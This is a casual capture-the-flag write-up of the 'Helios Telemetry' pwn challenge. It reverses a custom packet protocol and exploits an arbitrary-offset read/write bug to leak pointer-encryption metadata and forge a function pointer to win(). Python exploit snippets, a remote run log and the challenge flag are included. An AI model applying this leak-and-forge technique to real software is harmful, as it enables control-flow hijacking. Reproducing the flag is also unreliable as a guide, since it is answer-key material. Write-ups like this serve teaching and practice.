Helios Telemetry - PWN
Points: 500 | Flag: BITSCTF{060a23bce19d04ddb29815e21ee542bb} | Solved by: Smothy @ 0xN1umb

what we got
Binary called helios_telemetry - a custom binary telemetry protocol daemon served via socat on port 1337. Also got a solve.py in the tar which lowkey saved a ton of time lol.
Protections are full send:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
fr everything enabled. so we need leaks for everything.
the solve
understanding the protocol
ngl this is a custom binary protocol with epoch-based authentication. every packet looks like:
[ opcode(1) | key(1) | length(2) | payload(length) ]
the key byte is a checksum computed from the current epoch and payload bytes using this mixing function:
def ksum(epoch, payload):
s = epoch
for b in payload:
s = ((s << 3) & 0xffffffff) ^ (s >> 2) ^ b ^ 0x6d
return s & 0xffafter each packet the epoch updates: epoch ^= ((op << 11) | 0xa5) — so both sides stay in sync. initial epoch is 0x5A17C0DE. kinda cute ngl
the opcodes
reversing main gave us these handlers:
| Opcode | Name | What it does |
|---|---|---|
0x11 | SPAWN | allocates a 0xb0 byte slot, copies memo data, sets up encrypted function pointer to noop |
0x22 | WRITE | writes data into a slot at arbitrary offset (the bug!) |
0x33 | READ | reads data from a slot at arbitrary offset (the leak!) |
0x44 | FREE | frees a slot |
0x55 | GATE | passes a state gate with token verification, arms the trigger |
0x66 | EXEC | calls the encrypted function pointer if gate checks pass |
the slot structure
when you spawn a slot with opcode 0x11, it callocs 0xb0 bytes and sets up this structure:
+0x00: memo data (user controlled, up to 0x20 bytes)
+0x60: guard = (self >> 12) ^ cookie ^ 0xfbad1807
+0x68: wide = pointer to slot+0x70
+0x70: enc_cb = noop ^ guard ^ (wide >> 17) ^ (self >> 11) // encrypted fn ptr
+0x78: self = pointer to self
+0x80: memo_len
+0x84: auth token (set by GATE)
+0x88: armed flag (set by GATE)
+0x8c: stored epoch (set by GATE)
+0x90: memo copy for auth
so the function pointer at +0x70 is XOR-encrypted with guard, wide>>17, and self>>11. anti-tamper vibes. but if we can leak all those values...
the bugs
READ (0x33) takes slot_id, offset, length — it checks offset + length <= 0xb0 but the offset starts from the slot base, meaning we can read the metadata at +0x60 through +0x7f which contains guard, wide, enc_cb, and self. that's everything we need.
WRITE (0x22) same deal — takes slot_id, offset, length, data with offset + length <= 0xb0. we can write directly to the enc_cb at +0x70.
exploit chain
1. spawn a slot
memo = b'field-node'
epoch = send_pkt(io, epoch, 0x11, p8u(0) + p8u(len(memo)) + memo)2. leak metadata read 0x20 bytes starting at offset 0x60 to grab guard, wide, enc_cb, and self:
epoch = send_pkt(io, epoch, 0x33, p8u(0) + p8u(0x60) + p8u(0x20))
leak = io.recvn(0x20)
guard = u64(leak[0:8]) # XOR obfuscation key
wide = u64(leak[8:16]) # pointer to slot+0x70
enc = u64(leak[16:24]) # encrypted noop pointer
self = u64(leak[24:32]) # self pointer (heap addr)3. recover PIE base
since enc_cb = noop ^ guard ^ (wide >> 17) ^ (self >> 11), we can reverse it:
noop = enc ^ guard ^ (wide >> 17) ^ ((obj >> 11) & 0xffffffffffffffff)
base_addr = noop - elf.sym['noop']
win = base_addr + elf.sym['win']4. forge encrypted win pointer
encrypt win the same way the binary encrypts noop:
enc_win = win ^ guard ^ (wide >> 17) ^ ((obj >> 11) & 0xffffffffffffffff)5. overwrite enc_cb write our forged pointer at offset 0x70:
epoch = send_pkt(io, epoch, 0x22, p8u(0) + p8u(0x70) + p8u(8) + p64(enc_win))6. pass the gate
opcode 0x55 requires a token: guard_low32 ^ epoch. this arms the slot for execution:
token = (guard ^ epoch) & 0xffffffff
epoch = send_pkt(io, epoch, 0x55, p8u(0) + p32(token))7. trigger
opcode 0x66 decrypts the function pointer and calls it. since we replaced it with encrypted win, it decrypts to win() which opens flag.txt and writes it to stdout:
epoch = send_pkt(io, epoch, 0x66, p8u(0))running it
$ python3 solve.py REMOTE HOST=chals.bitskrieg.in PORT=34925
[+] Opening connection to chals.bitskrieg.in on port 34925: Done
[*] obj = 0x55e6e9d5e2c0
[*] guard = 0x18a6afd31c72ea48
[*] wide = 0x55e6e9d5e330
[*] base = 0x55e6b6704000
[*] win = 0x55e6b6705820
[+] BITSCTF{060a23bce19d04ddb29815e21ee542bb}
first try lmao
flag
BITSCTF{060a23bce19d04ddb29815e21ee542bb}
ngl this challenge was pretty clean — custom protocol with XOR-encrypted function pointers but the read/write bounds check was the weak link. being able to read past the memo data into the crypto metadata lets you recover everything needed to forge a new pointer. the "self-healing" auth was just vibes, not actual security lol
smothy out ✌️